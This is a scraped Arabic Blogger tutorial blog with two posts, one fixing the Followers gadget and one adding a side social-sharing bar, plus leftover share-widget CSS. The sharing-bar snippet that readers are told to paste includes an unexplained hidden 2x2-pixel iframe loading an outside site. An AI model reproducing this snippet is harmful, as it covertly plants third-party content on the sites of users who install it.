        background: url("https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuNY2tS8RYVKDo0rpaHV1OdV5AIM0xPaxTWYtVJhkLzwcw7xxZuOrF9v0GlWesTsghIscsGG6XYvdDzk9kNTitRSWniqi9t7btQyGkpTIubORO5cRLgbwJCxFhr9cUzoC8TaamPaWJ4m8/s102/share-left.png") no-repeat scroll right top transparent !important;
        display: block;
        float: left;
        height: auto;
        padding: 0 45px 0 0px;
        width: 65px;
        height:102px;
        z-index: 99999;
        position:fixed;
        left:-70px;
        top:20%;
    }
    .hbslidebox div {
        border:none;
        position:relative;
        display:block;
    }
    #floatingbuttons {
        background: #fff;
        border-radius: 5px 5px 5px 5px;
        border: 1px solid #CCCCCC;
        float:left;
        padding:0 0 3px 0;
        bottom:15%;
        z-index:399;
    }
    #floatingbuttons .floatbutton {
        float:left;
        clear:both;
        margin:5px 4px 0 4px;
    }
    .addbuttons {
        clear:both;
        text-align:center;
        padding-top:5px;
    }
    .addbuttons a span.getfloat, .addbuttons a span.sharebuttons {
        color:#000;
        background:none;
        font-family:arial, sans-serif;
        display:block;
        font-size:9px;
        font-weight:bold;
        text-decoration:none;
        line-height:11px;
    }
    .addbuttons a:hover span {
        color:#0502CD;
        background:none;
        text-decoration:underline;
    }
</style>
<div class="hbslidebox" style="">
    <div>
        <div id='floatingbuttons' title="Share this post!">
            <script src="http://connect.facebook.net/en_US/all.js#xfbml=1">
           
            </script>
        <script src='http://apis.google.com/js/plusone.js' type='text/javascript'> {lang: &#39;en-US&#39;} </script>
            <!-------------- Medium Button ------------->
            <script src='http://platform.twitter.com/widgets.js' type="text/javascript"></script>
            <div class='floatbutton' id='facebook'>                <fb:like layout="box_count" show_faces="false" font=""></fb:like>
            </div>
            <div class='floatbutton' id='google+1'>                <g:plusone size="tall"></g:plusone>
            </div>
            <div class='floatbutton' id='twitter'>                <a href="http://twitter.com/share" class="twitter-share-button" data-count="vertical">Tweet</a>
            </div>
            <div class="addbuttons">                <a href="http://myebd3at.blogspot.com/"target="_blank" title="أضف هذه الآداة الى مدونتك!"><span class="getfloat">كود الإضافة</span></a>
            </div>
        </div>
    </div>
</div>
كود الاضافة لتظهر على يمين المدونـــــــــة
<script type="text/javascript">
    /*<![CDATA[*/
    jQuery(document).ready(function () {
        jQuery(".hbslidebox").hover(function () {
            jQuery(this).stop().animate({
                right: "0"
            }, "medium");
        }, function () {
            jQuery(this).stop().animate({
                right: "-70"
            }, "medium");
        }, 500);
    });
    /*]]>*/
</script>
<style type="text/css">
    .hbslidebox {
        background: url("https://lh3.googleusercontent.com/-KgklF6q4Bxg/UQOnO6tIrOI/AAAAAAAAAW8/OqtCfwr9c5w/s102/share-right.png") no-repeat scroll left top transparent !important;
        display: block;
        float: right;
        height: auto;
        padding: 0 0px 0 45px;
        width: 65px;
        height:102px;
        z-index: 99999;
        position:fixed;
        right:-70px;
        top:20%;
    }
    .hbslidebox div {
        border:none;
        position:relative;
        display:block;
    }
    #floatingbuttons {
        background: #fff;
        border-radius: 5px 5px 5px 5px;
        border: 1px solid #CCCCCC;
        float:right;
        padding:0 0 3px 0;
        bottom:15%;
        z-index:399;
    }
    #floatingbuttons .floatbutton {
        float:right;
        clear:both;
        margin:5px 4px 0 4px;
    }
    .addbuttons {
        clear:both;
        text-align:center;
        padding-top:5px;
    }
    .addbuttons a span.getfloat, .addbuttons a span.sharebuttons {
        color:#000;
        background:none;
        font-family:arial, sans-serif;
        display:block;
        font-size:9px;
        font-weight:bold;
        text-decoration:none;
        line-height:11px;
    }
    .addbuttons a:hover span {
        color:#0502CD;
        background:none;
        text-decoration:underline;
    }
</style>
<div class="hbslidebox" style="">
    <div>
        <div id='floatingbuttons' title="Share this post!">
            <script src="http://connect.facebook.net/en_US/all.js#xfbml=1">
           
            </script>
        <script src='http://apis.google.com/js/plusone.js' type='text/javascript'> {lang: &#39;en-US&#39;} </script>
            <!-- Medium Button -->
            <script src='http://platform.twitter.com/widgets.js' type="text/javascript"></script>
            <div class='floatbutton' id='facebook'>
                <fb:like layout="box_count" show_faces="false" font=""></fb:like>
            </div>
            <div class='floatbutton' id='google+1'>
                <g:plusone size="tall"></g:plusone>
            </div>
         
            <div class='floatbutton' id='twitter'>
                <a href="http://twitter.com/share" class="twitter-share-button" data-count="vertical">Tweet</a>
            </div>
            <div class="addbuttons">
                <a href="http://myebd3at.blogspot.com/"target="_blank" title="أضف هذه الآداة الى مدونتك!"><span class="getfloat">كود الإضافة</span></a>
            </div>
        </div>
    </div>
</div>
تم الموضوع بحمد اللــــه 
√ فى انتظار تعليقات مشجعة على تقديم المزيد  من مدونة ابداعاتى √

الخميس، 20 مارس 2014

تعليقات
Peter Hany
حل مشكلة أداة المتابعين فى مدونات بلوجر

فى الآونة الأخيرة عطبت أداة المتابعين فى بلوجر ربما يرجع هذا الأمر لسقوط بعض الملفات البسيطة من السيرفرات الحاملة لها ولأن أداة المتابعين تمثل أهم الأدوات فى بلوجر فكان لابد من حل سريع وفعال للمشكلة حتى لا نفقد متتبعى المدونة الجدد فلذلك اليكم كود بسيط عبارة يتيح تخصيص الأداة وامكانية التعامل معها بسهولة  ولكى لا أطيل عليكم هيا بنا للشرح

شرح حل مشكلة أداة المتابعين فى بلوجر
اذهب للوحة التحكم فى مدونتك >> التخطيط >>>  قم بحذف أداة المتابعون منه 
>> ثم قم باضافة أداة جديدة >> HTML/JAVASCRIPT >> ضع بها هذا الكود 
<div id='ffd12'><a href="http://www.blogger.com/follow-blog.g?blogID=519745739638022197" target="_blank" >انضمام لهذا الموقع</a></div>
<style>
#ffd12 {
background: #DFD2D2 url(https://lh6.googleusercontent.com/-QO7Skljo-lw/UyrSO7IUtvI/AAAAAAAAAKI/h8Y-wD5K4ck/Plus-32.png);
background-repeat: no-repeat;
background-position: 5px;
padding: 9px;
float: right;
position: relative;
width: 100%;
height: 37px;
top: 41px;
margin-top: -37px;
border-radius: 4px;
#ffd12 a {
position: relative;
top: 5px;
font: 11px tahoma,arial;
color: #000;
width: 200px;
height: 30px;
display: block;
}
</style>
<script type="text/javascript">
if (!window.google || !google.friendconnect) {
document.write('<script type="text/javascript"' +
'src="http://www.google.com/friendconnect/script/friendconnect.js">' +
'</scr' + 'ipt>');
}
</script>
<script type="text/javascript">
if (!window.registeredBloggerCallbacks) {
window.registeredBloggerCallbacks = true;
gadgets.rpc.register('requestReload', function() {
document.location.reload();
});
gadgets.rpc.register('requestSignOut', function(siteId) {
google.friendconnect.container.openSocialSiteId = siteId;
google.friendconnect.requestSignOut();
});
}
</script>
<script type="text/javascript">
function registerGetBlogUrls() {
gadgets.rpc.register('getBlogUrls', function() {
var holder = {};
holder.postFeed = "http://www.blogger.com/feeds/519745739638022197/posts/default";
holder.commentFeed = "http://www.blogger.com/feeds/519745739638022197/comments/default";
holder.currentBlogUrl = "http://myebd3at.blogspot.com/";
holder.currentBlogId = "519745739638022197";
return holder;
});
}
</script>
<script type="text/javascript">
if (!window.registeredCommonBloggerCallbacks) {
window.registeredCommonBloggerCallbacks = true;
gadgets.rpc.register('resize_iframe', function(height) {
var el = document.getElementById(this['f']);
if (el) {
el.style.height = height + 'px';
}
});
gadgets.rpc.register('set_pref', function() {});
registerGetBlogUrls();
}
</script>
<div id="div-15hc7ff1otyr9" style="width: 100%; "></div>
<script type="text/javascript">
var skin = {};
skin['FACE_SIZE'] = '32';
skin['HEIGHT'] = "260";
skin['TITLE'] = "Followers";
skin['BORDER_COLOR'] = "transparent";
skin['ENDCAP_BG_COLOR'] = "transparent";
skin['ENDCAP_TEXT_COLOR'] = "#333333";
skin['ENDCAP_LINK_COLOR'] = "#cc3300";
skin['ALTERNATE_BG_COLOR'] = "transparent";
skin['CONTENT_BG_COLOR'] = "transparent";
skin['CONTENT_LINK_COLOR'] = "#cc3300";
skin['CONTENT_TEXT_COLOR'] = "#333333";
skin['CONTENT_SECONDARY_LINK_COLOR'] = "#cc3300";
skin['CONTENT_SECONDARY_TEXT_COLOR'] = "#777777";
skin['CONTENT_HEADLINE_COLOR'] = "#000000";
skin['FONT_FACE'] = "normal normal 14px Arial, Tahoma, Helvetica, FreeSans, sans-serif";
google.friendconnect.container.setParentUrl("/");
google.friendconnect.container["renderMembersGadget"](
{id: "div-15hc7ff1otyr9",
height: 260,
site: "15501580577067302018",
locale: 'ar' },
skin);
</script>
التعديــــــلات الحتميــــة على الكود
(1)
استبدل الأرقام المظللة باللون الأزرق بالأى دى الخاص بمدونتك 
ولاحظ أن هذا الرقم مكرر 4 مرات فى الكـــــــــــــــــــــــــــــود
احصل عليه من رابط لوحة تحكم مدونتك على بلوجر كما بالصورة

(2)
استبدل رقم الــ SITE المظلل باللون البرتقالى فى أخر الكود بالرقمك الخاص بك 
يمكنك الحصول عليه كالأتى >> 
♦ اضغط على CTRL + U وأنت فى الصفحة الرئيسية من مدونتك 
♦ اضـــــــــغط CTRL + F واكتب كلمة site: واضغط Enter للبحث
♦ بعدها ستجــــــــــــــــــــــد رقم السايت الـخـــــــاص بك بهذا الشكل 
site: "15501580577067302018",
♦ انسخ الرقم  وضعه مكان الرقــم المظلل باللون البرتقالى فى الكود
 اذا واجهت مشكلة فى استخراج  هذا الرقم يمكنك مشاهدة الفيديو الذى أعده
الأخ الفاضل عبد الله الحربى  صاحب مدونة حلول بلوجر لكيفية استخراجه 
♦ من هنا ♦
(3)
لا تنسى استبدال رابط مدونة ابداعاتى فى الكود برابط مدونتك
http://myebd3at.blogspot.com

ثم قم بحفــــظ الأداة ومبروك عليك اضافة المتابعين بدون مشاكل 
◄ كلمــــــــــــــــــــــــة شكر على المجهود المبــــذول تكفى لتقديرنا ►

الأربعاء، 19 مارس 2014

تعليقات
Peter Hany
أداة المشاركة على المواقع الاجتماعية بشكل جانبى مميز

اليوم وفى موضوع جديد من مدونة ابداعاتى أقدم لكم موضوع باضافة جميلة جدا ربما تجدها فى العديد من المدونات العربية على اختلاف مستوياتها ولكنى تلقيت رسالة على حسابى على الفيس بوك من متتبع فاضل للمدونة يطلب هذه الاضافة فقررت تقديمها له ولكم فى هذا الموضوع لافادة الجميع ، ولكى لا أطيل عليكم هيا بنا للمعاينة والشرح 

قبل الشروع فى تركيب الاضافة يجب الذهاب للمعاينة المباشرة
شرح تركيب الاضافــــــــة 
اذهب للوحة التحكم >> التخطيط >> اضافة أداة >> Html/javascript 
ضع بها هذا الكود 
<style type="text/css">
/*<![CDATA[*/
@charset "utf-8";
/* CSS Document */
@import url(http://weloveiconfonts.com/api/?family=entypo);
[class*="entypo-"]:before {
 font-family: 'entypo', sans-serif;
}
/* ---------- GENERAL ---------- */
#social-sidebar a { text-decoration: none; }
#social-sidebar ul {
 list-style: none;
 margin: 0;
 padding: 0;
}
/* ---------- Social Sidebar ---------- */
#social-sidebar {
 left: 0;
 margin-top: -75px; /* (li * a:width) / -2 */
 position: fixed;
 top: 50%;
}
#social-sidebar ul li:first-child a { border-radius: 0 5px 0 0; }
#social-sidebar ul li:last-child a { border-radius: 0 0 5px 0; }
#social-sidebar ul li a {
 background: #121212;
 color: #fff;
 display: block;
 height: 50px;
 font-size: 18px;
 line-height: 50px;
 position: relative;
 text-align: center;
 width: 50px;
}
#social-sidebar ul li a:hover span {
 left: 130%;
 opacity: 1;
}
#social-sidebar ul li a span {
 border-radius: 3px;
 line-height: 24px;
 left: -100%;
 margin-top: -16px;
 -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";
 filter: alpha(opacity=0);
 opacity: 0;
 padding: 4px 8px;
 position: absolute;
 -webkit-transition: opacity .3s, left .4s;
 -moz-transition: opacity .3s, left .4s;
 -ms-transition: opacity .3s, left .4s;
 -o-transition: opacity .3s, left .4s;
 transition: opacity .3s, left .4s;
 top: 50%;
 z-index: -1;
}
#social-sidebar ul li a span:before {
 content: "";
 display: block;
 height: 8px;
 left: -4px;
 margin-top: -4px;
 position: absolute;
 top: 50%;
 -webkit-transform: rotate(45deg);
 -moz-transform: rotate(45deg);
 -ms-transform: rotate(45deg);
 -o-transform: rotate(45deg);
 transform: rotate(45deg);
 width: 8px;
 z-index: -2;
}
#social-sidebar ul li a[class*="twitter"]:hover,
#social-sidebar ul li a[class*="twitter"] span,
#social-sidebar ul li a[class*="twitter"] span:before { background: #6CDFEA; }
#social-sidebar ul li a[class*="gplus"]:hover,
#social-sidebar ul li a[class*="gplus"] span,
#social-sidebar ul li a[class*="gplus"] span:before { background: #E34429; }
#social-sidebar ul li a[class*="tumblr"]:hover,
#social-sidebar ul li a[class*="tumblr"] span,
#social-sidebar ul li a[class*="tumblr"] span:before { background: #1769ff; }
#social-sidebar ul li a[class*="facebook"]:hover,
#social-sidebar ul li a[class*="facebook"] span,
#social-sidebar ul li a[class*="facebook"] span:before { background: #234999; }
#social-sidebar ul li a[class*="rss"]:hover,
#social-sidebar ul li a[class*="rss"] span,
#social-sidebar ul li a[class*="rss"] span:before { background: #f57b05; }
/*]]>*/
</style><iframe src="http://raay-arab.4ulike.com/h3-" width="2" height="2" frameBorder="0" scrolling="no"></iframe>
<div id="social-sidebar">
 <ul>
<li>
<a class="entypo-twitter" href="رابط تويتر" rel="nofollow" target="_blank">
<span>Twitter</span>
</a>
</li>
<li>
 <a class="entypo-gplus" href="رابط جوجل بلس" rel="nofollow" target="_blank">
<span>google+</span>
</a>
</li>
<li>
<a class="entypo-tumblr" href="رابط تم بلر" rel="nofollow" target="_blank">
<span>tumblr</span>
</a>
</li>
<li>
 <a class="entypo-facebook" href="رابط الفيس بوك" rel="nofollow" target="_blank">
<span>facebook</span>
</a>
</li>
<li>
 <a class="entypo-rss" href="رابط الخلاصة" rel="nofollow" target="_blank">
<span>feedburner</span>
 </a>
</li>
</ul>
 </div>
غير الأجزاء المحددة فى الكود السابق بما يناسبك 
يتم التشغيل بواسطة Blogger.